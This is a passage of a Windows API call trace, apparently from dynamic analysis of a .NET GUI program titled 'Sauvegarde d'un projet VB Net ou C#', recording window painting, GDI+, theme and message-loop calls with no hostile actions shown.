(lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0247.330] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0247.330] GetCurrentObject (hdc=0x300101a0, type=0x1) returned 0x1b00017 [0247.330] GetCurrentObject (hdc=0x300101a0, type=0x2) returned 0x1900010 [0247.331] GetCurrentObject (hdc=0x300101a0, type=0x7) returned 0x210506ba [0247.331] GetCurrentObject (hdc=0x300101a0, type=0x6) returned 0x18a002e [0247.331] SaveDC (hdc=0x300101a0) returned 2 [0247.331] GetNearestColor (hdc=0x300101a0, color=0xf0f0f0) returned 0xf0f0f0 [0247.331] CreateSolidBrush (color=0xf0f0f0) returned 0x3a1006a2 [0247.331] FillRect (hDC=0x300101a0, lprc=0x2bdf94, hbr=0x3a1006a2) returned 1 [0247.331] DeleteObject (ho=0x3a1006a2) returned 1 [0247.331] RestoreDC (hdc=0x300101a0, nSavedDC=-1) returned 1 [0247.331] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0247.331] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0247.331] GetSystemMetrics (nIndex=42) returned 0 [0247.332] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0247.332] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0247.332] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0247.332] GetCurrentObject (hdc=0x300101a0, type=0x1) returned 0x1b00017 [0247.332] GetCurrentObject (hdc=0x300101a0, type=0x2) returned 0x1900010 [0247.332] GetCurrentObject (hdc=0x300101a0, type=0x7) returned 0x210506ba [0247.332] GetCurrentObject (hdc=0x300101a0, type=0x6) returned 0x18a002e [0247.332] SaveDC (hdc=0x300101a0) returned 2 [0247.333] GetNearestColor (hdc=0x300101a0, color=0xf0f0f0) returned 0xf0f0f0 [0247.333] CreateSolidBrush (color=0xf0f0f0) returned 0x3b1006a2 [0247.333] FillRect (hDC=0x300101a0, lprc=0x2bdf34, hbr=0x3b1006a2) returned 1 [0247.333] DeleteObject (ho=0x3b1006a2) returned 1 [0247.333] RestoreDC (hdc=0x300101a0, nSavedDC=-1) returned 1 [0247.333] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0247.333] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0247.333] GetSystemMetrics (nIndex=42) returned 0 [0247.333] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0247.333] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0247.333] RestoreDC (hdc=0x300101a0, nSavedDC=-1) returned 1 [0247.333] GdipReleaseDC (graphics=0x4ae5320, hdc=0x300101a0) returned 0x0 [0247.334] IsAppThemed () returned 0x1 [0247.334] GetThemeAppProperties () returned 0x3 [0247.334] GetThemeAppProperties () returned 0x3 [0247.334] IsAppThemed () returned 0x1 [0247.334] GetThemeAppProperties () returned 0x3 [0247.334] GetThemeAppProperties () returned 0x3 [0247.334] IsThemePartDefined () returned 0x1 [0247.334] GdipCreateRegion (region=0x2be428) returned 0x0 [0247.334] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0247.334] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0247.334] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0247.334] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0247.334] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0247.334] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0247.334] LocalFree (hMem=0x5fd4d0) returned 0x0 [0247.334] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0247.334] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0247.335] LocalFree (hMem=0x5fd4d0) returned 0x0 [0247.335] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0247.335] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0247.335] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0247.335] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0247.335] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0247.335] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0247.335] GetCurrentObject (hdc=0x300101a0, type=0x1) returned 0x1b00017 [0247.335] GetCurrentObject (hdc=0x300101a0, type=0x2) returned 0x1900010 [0247.335] GetCurrentObject (hdc=0x300101a0, type=0x7) returned 0x210506ba [0247.335] GetCurrentObject (hdc=0x300101a0, type=0x6) returned 0x18a002e [0247.335] SaveDC (hdc=0x300101a0) returned 1 [0247.336] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x75040789 [0247.336] GetClipRgn (hdc=0x300101a0, hrgn=0x75040789) returned 0 [0247.336] SelectClipRgn (hdc=0x300101a0, hrgn=0x740401eb) returned 2 [0247.336] DeleteObject (ho=0x75040789) returned 1 [0247.336] DeleteObject (ho=0x740401eb) returned 1 [0247.336] OffsetViewportOrgEx (in: hdc=0x300101a0, x=0, y=0, lppt=0x268c9cc | out: lppt=0x268c9cc) returned 1 [0247.336] IsAppThemed () returned 0x1 [0247.336] GetThemeAppProperties () returned 0x3 [0247.336] GetThemeAppProperties () returned 0x3 [0247.336] DrawThemeBackground () returned 0x0 [0247.336] RestoreDC (hdc=0x300101a0, nSavedDC=-1) returned 1 [0247.336] GdipReleaseDC (graphics=0x4ae5320, hdc=0x300101a0) returned 0x0 [0247.336] GdipCreateRegion (region=0x2be410) returned 0x0 [0247.336] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0247.337] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0247.337] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0247.337] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0247.337] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0247.337] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0247.337] LocalFree (hMem=0x5fd4d0) returned 0x0 [0247.337] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0247.337] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0247.337] LocalFree (hMem=0x5fd4d0) returned 0x0 [0247.337] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0247.337] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0247.337] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0247.337] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0247.337] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0247.338] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0247.338] GetCurrentObject (hdc=0x300101a0, type=0x1) returned 0x1b00017 [0247.338] GetCurrentObject (hdc=0x300101a0, type=0x2) returned 0x1900010 [0247.338] GetCurrentObject (hdc=0x300101a0, type=0x7) returned 0x210506ba [0247.338] GetCurrentObject (hdc=0x300101a0, type=0x6) returned 0x18a002e [0247.338] SaveDC (hdc=0x300101a0) returned 1 [0247.338] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x750401eb [0247.338] GetClipRgn (hdc=0x300101a0, hrgn=0x750401eb) returned 0 [0247.338] SelectClipRgn (hdc=0x300101a0, hrgn=0x76040789) returned 2 [0247.338] DeleteObject (ho=0x750401eb) returned 1 [0247.338] DeleteObject (ho=0x76040789) returned 1 [0247.339] OffsetViewportOrgEx (in: hdc=0x300101a0, x=0, y=0, lppt=0x268d3a8 | out: lppt=0x268d3a8) returned 1 [0247.339] IsAppThemed () returned 0x1 [0247.339] GetThemeAppProperties () returned 0x3 [0247.339] GetThemeAppProperties () returned 0x3 [0247.339] GetThemeBackgroundContentRect () returned 0x0 [0247.339] RestoreDC (hdc=0x300101a0, nSavedDC=-1) returned 1 [0247.339] GdipReleaseDC (graphics=0x4ae5320, hdc=0x300101a0) returned 0x0 [0247.339] IsAppThemed () returned 0x1 [0247.339] GetThemeAppProperties () returned 0x3 [0247.339] GetThemeAppProperties () returned 0x3 [0247.339] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0247.339] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0247.339] GetCurrentObject (hdc=0x300101a0, type=0x1) returned 0x1b00017 [0247.339] GetCurrentObject (hdc=0x300101a0, type=0x2) returned 0x1900010 [0247.339] GetCurrentObject (hdc=0x300101a0, type=0x7) returned 0x210506ba [0247.339] GetCurrentObject (hdc=0x300101a0, type=0x6) returned 0x18a002e [0247.340] SaveDC (hdc=0x300101a0) returned 1 [0247.340] GetTextAlign (hdc=0x300101a0) returned 0x0 [0247.340] GetTextColor (hdc=0x300101a0) returned 0x0 [0247.340] GetCurrentObject (hdc=0x300101a0, type=0x6) returned 0x18a002e [0247.340] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0247.340] SelectObject (hdc=0x300101a0, h=0x90a01e9) returned 0x18a002e [0247.340] GetBkMode (hdc=0x300101a0) returned 2 [0247.340] SetBkMode (hdc=0x300101a0, mode=1) returned 2 [0247.341] DrawTextExW (in: hdc=0x300101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x268de44 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0247.342] DrawTextExW (in: hdc=0x300101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x268de44 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0247.343] RestoreDC (hdc=0x300101a0, nSavedDC=-1) returned 1 [0247.343] GdipReleaseDC (graphics=0x4ae5320, hdc=0x300101a0) returned 0x0 [0247.343] GetFocus () returned 0x0 [0247.343] IsAppThemed () returned 0x1 [0247.343] GetThemeAppProperties () returned 0x3 [0247.343] GetThemeAppProperties () returned 0x3 [0247.343] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0247.343] BitBlt (hdc=0x100107ec, x=0, y=0, cx=163, cy=29, hdcSrc=0x300101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0247.343] GdipReleaseDC (graphics=0x4ae5320, hdc=0x300101a0) returned 0x0 [0247.343] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0247.344] SelectObject (hdc=0x300101a0, h=0x185000f) returned 0x210506ba [0247.344] DeleteDC (hdc=0x300101a0) returned 1 [0247.344] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0247.344] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0247.344] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0247.344] IsWindowUnicode (hWnd=0x20152) returned 1 [0247.344] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0247.344] TranslateMessage (lpMsg=0x2bec18) returned 0 [0247.344] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0247.344] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0247.344] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0247.344] WaitMessage () returned 1 [0247.638] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0247.638] IsWindowUnicode (hWnd=0x1019e) returned 1 [0247.638] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0247.638] TranslateMessage (lpMsg=0x2bec18) returned 0 [0247.638] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0247.638] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0247.638] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0247.638] WaitMessage () returned 1 [0250.969] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0250.969] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0250.969] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0251.022] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0251.022] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0251.022] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0251.022] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0251.023] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0251.023] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0251.023] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0251.023] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0251.023] NtdllDefWindowProc_W () returned 0x0 [0251.023] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0251.030] GetFocus () returned 0x0 [0251.030] SetFocus (hWnd=0x1019c) returned 0x0 [0251.030] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0251.030] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0251.030] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0251.030] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0251.030] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0251.030] GetStockObject (i=5) returned 0x1900015 [0251.031] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0251.031] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xd, wParam=0x1a, lParam=0x562800) returned 0x19 [0251.031] GetDlgItem (hDlg=0x40150, nIDDlgItem=65948) returned 0x1019c [0251.031] SendMessageW (hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0251.031] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0251.031] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0251.031] IsWindowUnicode (hWnd=0x1019c) returned 1 [0251.031] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.031] TranslateMessage (lpMsg=0x2bec18) returned 0 [0251.031] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0251.031] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.031] IsWindowUnicode (hWnd=0x1019c) returned 1 [0251.031] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.031] GetKeyState (nVirtKey=16) returned 0 [0251.031] GetKeyState (nVirtKey=17) returned 0 [0251.031] GetKeyState (nVirtKey=18) returned -127 [0251.031] TranslateMessage (lpMsg=0x2bec18) returned 1 [0251.031] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0251.031] GetKeyState (nVirtKey=16) returned 0 [0251.031] GetKeyState (nVirtKey=17) returned 0 [0251.031] GetKeyState (nVirtKey=18) returned -127 [0251.031] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0251.031] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.031] IsWindowUnicode (hWnd=0x1019c) returned 1 [0251.031] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.031] GetKeyState (nVirtKey=16) returned 0 [0251.031] GetKeyState (nVirtKey=17) returned 0 [0251.031] GetKeyState (nVirtKey=18) returned 1 [0251.031] TranslateMessage (lpMsg=0x2bec18) returned 1 [0251.031] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0251.031] GetKeyState (nVirtKey=16) returned 0 [0251.032] GetKeyState (nVirtKey=17) returned 0 [0251.032] GetKeyState (nVirtKey=18) returned 1 [0251.032] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0251.032] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.032] IsWindowUnicode (hWnd=0x1019c) returned 1 [0251.032] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.032] TranslateMessage (lpMsg=0x2bec18) returned 0 [0251.032] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0251.032] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x60106b7 [0251.032] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0251.032] CreateCompatibleDC (hdc=0x60106b7) returned 0x370101a0 [0251.032] SelectObject (hdc=0x370101a0, h=0x210506ba) returned 0x185000f [0251.032] GdipCreateFromHDC (hdc=0x370101a0, graphics=0x2be714) returned 0x0 [0251.032] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0251.032] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0251.032] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0251.032] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0251.032] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0251.032] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0251.032] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0251.032] LocalFree (hMem=0x5fd4d0) returned 0x0 [0251.032] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0251.032] GdipCreateRegion (region=0x2be75c) returned 0x0 [0251.032] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0251.032] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0251.033] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0251.033] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd8d0dbd) returned 0x0 [0251.033] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0251.033] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0251.033] GetCurrentObject (hdc=0x370101a0, type=0x1) returned 0x1b00017 [0251.033] GetCurrentObject (hdc=0x370101a0, type=0x2) returned 0x1900010 [0251.033] GetCurrentObject (hdc=0x370101a0, type=0x7) returned 0x210506ba [0251.033] GetCurrentObject (hdc=0x370101a0, type=0x6) returned 0x18a002e [0251.033] SaveDC (hdc=0x370101a0) returned 1 [0251.033] GetNearestColor (hdc=0x370101a0, color=0xf0f0f0) returned 0xf0f0f0 [0251.033] GetNearestColor (hdc=0x370101a0, color=0xa0a0a0) returned 0xa0a0a0 [0251.033] GetNearestColor (hdc=0x370101a0, color=0x696969) returned 0x696969 [0251.033] GetNearestColor (hdc=0x370101a0, color=0xa0a0a0) returned 0xa0a0a0 [0251.033] GetNearestColor (hdc=0x370101a0, color=0x0) returned 0x0 [0251.033] GetNearestColor (hdc=0x370101a0, color=0xffffff) returned 0xffffff [0251.033] GetNearestColor (hdc=0x370101a0, color=0xe5e5e5) returned 0xe5e5e5 [0251.033] GetNearestColor (hdc=0x370101a0, color=0xd7d7d7) returned 0xd7d7d7 [0251.033] GetNearestColor (hdc=0x370101a0, color=0x0) returned 0x0 [0251.034] RestoreDC (hdc=0x370101a0, nSavedDC=-1) returned 1 [0251.034] GdipReleaseDC (graphics=0x4ae5320, hdc=0x370101a0) returned 0x0 [0251.034] IsAppThemed () returned 0x1 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] IsAppThemed () returned 0x1 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x26d3338 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0251.034] IsAppThemed () returned 0x1 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] IsAppThemed () returned 0x1 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] GetFocus () returned 0x1019c [0251.034] IsAppThemed () returned 0x1 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] IsAppThemed () returned 0x1 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] IsThemePartDefined () returned 0x1 [0251.034] IsAppThemed () returned 0x1 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0251.034] IsAppThemed () returned 0x1 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] GetThemeAppProperties () returned 0x3 [0251.034] IsAppThemed () returned 0x1 [0251.035] GetThemeAppProperties () returned 0x3 [0251.035] GetThemeAppProperties () returned 0x3 [0251.035] IsThemePartDefined () returned 0x1 [0251.035] GdipCreateRegion (region=0x2be484) returned 0x0 [0251.035] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0251.035] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0251.035] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0251.035] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0251.035] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0251.035] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0251.035] LocalFree (hMem=0x5fd4d0) returned 0x0 [0251.035] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0251.035] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0251.035] LocalFree (hMem=0x5fd4d0) returned 0x0 [0251.035] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0251.035] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0251.035] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0251.035] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0251.035] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0251.035] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0251.035] GetCurrentObject (hdc=0x370101a0, type=0x1) returned 0x1b00017 [0251.035] GetCurrentObject (hdc=0x370101a0, type=0x2) returned 0x1900010 [0251.035] GetCurrentObject (hdc=0x370101a0, type=0x7) returned 0x210506ba [0251.035] GetCurrentObject (hdc=0x370101a0, type=0x6) returned 0x18a002e [0251.035] SaveDC (hdc=0x370101a0) returned 1 [0251.035] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x77040789 [0251.036] GetClipRgn (hdc=0x370101a0, hrgn=0x77040789) returned 0 [0251.036] SelectClipRgn (hdc=0x370101a0, hrgn=0x7c0401eb) returned 2 [0251.036] DeleteObject (ho=0x77040789) returned 1 [0251.036] DeleteObject (ho=0x7c0401eb) returned 1 [0251.036] OffsetViewportOrgEx (in: hdc=0x370101a0, x=0, y=0, lppt=0x26d39e8 | out: lppt=0x26d39e8) returned 1 [0251.036] DrawThemeParentBackground () returned 0x0 [0251.036] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0251.036] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0251.036] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0251.036] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0251.036] GetSystemMetrics (nIndex=42) returned 0 [0251.036] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0251.036] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0251.036] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0251.036] GetCurrentObject (hdc=0x370101a0, type=0x1) returned 0x1b00017 [0251.036] GetCurrentObject (hdc=0x370101a0, type=0x2) returned 0x1900010 [0251.036] GetCurrentObject (hdc=0x370101a0, type=0x7) returned 0x210506ba [0251.036] GetCurrentObject (hdc=0x370101a0, type=0x6) returned 0x18a002e [0251.036] SaveDC (hdc=0x370101a0) returned 